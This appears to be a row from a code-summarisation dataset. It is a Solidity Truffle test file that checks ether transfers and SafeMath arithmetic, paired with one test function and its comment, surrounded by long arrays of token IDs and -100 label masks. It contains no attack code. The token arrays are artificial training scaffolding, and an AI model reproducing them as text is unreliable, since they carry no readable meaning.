0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
26248,
664,
313,
1359,
2966,
383,
305,
288,
203,
565,
26248,
664,
313,
1359,
48,
2345,
2864,
3238,
11732,
2845,
31,
203,
203,
565,
1758,
3238,
11732,
3410,
31,
203,
203,
203,
565,
3885,
12,
2867,
389,
6011,
13,
288,
203,
3639,
2845,
273,
26248,
664,
313,
1359,
48,
2345,
2864,
24899,
6011,
1769,
203,
3639,
3410,
273,
1234,
18,
15330,
31,
203,
565,
289,
203,
203,
203,
203,
565,
6798,
1435,
3903,
8843,
429,
2618,
203,
565,
5922,
1435,
3903,
8843,
429,
2618,
203,
565,
445,
1836,
1435,
3903,
8843,
429,
288,
203,
565,
289,
203,
203,
3639,
2845,
18,
323,
1724,
95,
1132,
30,
1234,
18,
1132,
97,
5621,
203,
565,
445,
1836,
2966,
383,
305,
1435,
3903,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
3410,
16,
315,
3386,
3410,
848,
1836,
9563,
28183,
8863,
203,
3639,
2845,
18,
13440,
1504,
304,
12,
2867,
12,
6011,
2934,
12296,
1769,
203,
3639,
2845,
18,
1918,
9446,
5621,
203,
3639,
8843,
429,
12,
3576,
18,
15330,
2934,
13866,
12,
2867,
12,
2211,
2934,
12296,
1769,
203,
565,
289,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.24;
import "truffle/Assert.sol";
import "truffle/DeployedAddresses.sol";
import "zeppelin-solidity/contracts/math/SafeMath.sol";
import "../contracts/StakeContract.sol";
import "../contracts/StakePool.sol";
contract TestSafeMath {
using SafeMath for uint;
// https://truffleframework.com/docs/truffle/testing/writing-tests-in-solidity#testing-ether-transactions
uint public initialBalance = 6 ether;
// this test is a learning excercise to verify how initialBalance works in practice
function testSendEtherInitialize() public {
// StakePool sp = StakePool(DeployedAddresses.StakePool());
// StakeContract sc = StakeContract(DeployedAddresses.StakeContract());
Assert.equal(initialBalance, 6 ether, 'test ether value');
Assert.equal(initialBalance, 6000000000000000000, 'test wei value');
// initialBalance allows to send up to a limit of ether but does not deposit
// the balance directly into the contracts balance. Ether must be transfered
DeployedAddresses.StakeContract().transfer(1 ether);
Assert.balanceEqual(DeployedAddresses.StakeContract(), 1 ether, 'SC balance not increased');
DeployedAddresses.StakeContract().transfer(2 ether);
DeployedAddresses.StakePool().transfer(3 ether);
Assert.balanceEqual(DeployedAddresses.StakeContract(), 3000000000000000000, 'SC did not receive eth');
Assert.balanceEqual(DeployedAddresses.StakePool(), 3 ether, 'SP did not receive eth');
}
// this test is learning excercise to verify how SafeMath library functions
function testChainedAdd() public {
// test if using SafeMath for uint modifies original values or only returns
uint var1 = 2;
uint var2 = 3;
uint expected = 5;
Assert.equal(var1.add(var2), expected, '2+3 should equal 5');
Assert.equal(var1, 2, 'var1 is not modified');
Assert.equal(var2, 3, 'var2 is not modified');
}
// this test is learning excercise to verify how SafeMath library functions
function testChainedAll() public {
uint var1 = 2;
uint var2 = 3;
uint var3 = 7;
uint var4 = 5;
Assert.equal(var1.mul(var2).mul(var3).div(var4), 8, 'left to right');
}
// this test is learning excercise to verify how SafeMath library functions
function testOrderSub() public {
uint var1 = 100;
uint var2 = 20;
Assert.equal(SafeMath.sub(var1, var2), 80, 'first - second');
}
// this test is learning excercise to verify how SafeMath library functions
function testOrderSubChain() public {
uint var1 = 10;
uint var2 = 20;
Assert.equal(var2.sub(var1), 10, 'not expected');
}
// this test is learning excercise to verify how SafeMath library functions
function testMultipleSub() public {
uint var0 = 99;
uint var1 = 10;
uint var2 = 20;
Assert.equal(var0.sub(var1).sub(var2), 69, 'not expected');
}
// this test is learning excercise to verify how SafeMath library functions
function testFractions() public {
uint var0 = 1;
uint var1 = 2;
Assert.equal(var0.div(var1), 0, 'not expected');
}
// this test is learning excercise to verify how solidity handles decimals
function testDecimals() public {
uint a = 0.99 * 100;
Assert.equal(a, 99, 'not expected');
}
// by default array in global scope is storage type
uint[] numbers;
// this test is learning excercise to verify how solidity arrays operate
function testArray() public {
// push only works for storage arrays
// (declared in global scope, or with modifier inside function )
numbers.push(1);
numbers.push(2);
uint l = numbers.push(3);
Assert.equal(l, 3, 'expected push to return length');
// memory arrays don't have push method
// numbers[0] = 1;
// numbers[1] = 2;
// numbers[2] = 3;
Assert.equal(numbers.length, 3, 'not expected');
Assert.equal(numbers[1], 2, 'not expected');
delete numbers[1];
Assert.equal(numbers[1], 0, 'not expected');
Assert.equal(numbers.length, 3, 'not expected');
numbers[1] = numbers[2];
numbers.length = 2;
Assert.equal(numbers[0], 1, 'not expected');
Assert.equal(numbers[1], 3, 'not expected');
// throws invalid opcode VM Exception
// Assert.equal(numbers[2], 3, 'not expected');
uint[] memory state = new uint[](4);
Assert.equal(state[0], 0, 'not expected');
Assert.equal(state[3], 0, 'not expected');
}
}
| this test is learning excercise to verify how SafeMath library functions | function testOrderSub() public {
uint var1 = 100;
uint var2 = 20;
Assert.equal(SafeMath.sub(var1, var2), 80, 'first - second');
}
| 1,807,336 | [
1,
2211,
1842,
353,
13753,
431,
2750,
30708,
358,
3929,
3661,
14060,
10477,
5313,
4186,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
1842,
2448,
1676,
1435,
1071,
288,
203,
565,
2254,
569,
21,
273,
2130,
31,
203,
565,
2254,
569,
22,
273,
4200,
31,
203,
565,
5452,
18,
9729,
12,
9890,
10477,
18,
1717,
12,
1401,
21,
16,
569,
22,
3631,
8958,
16,
296,
3645,
300,
2205,
8284,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.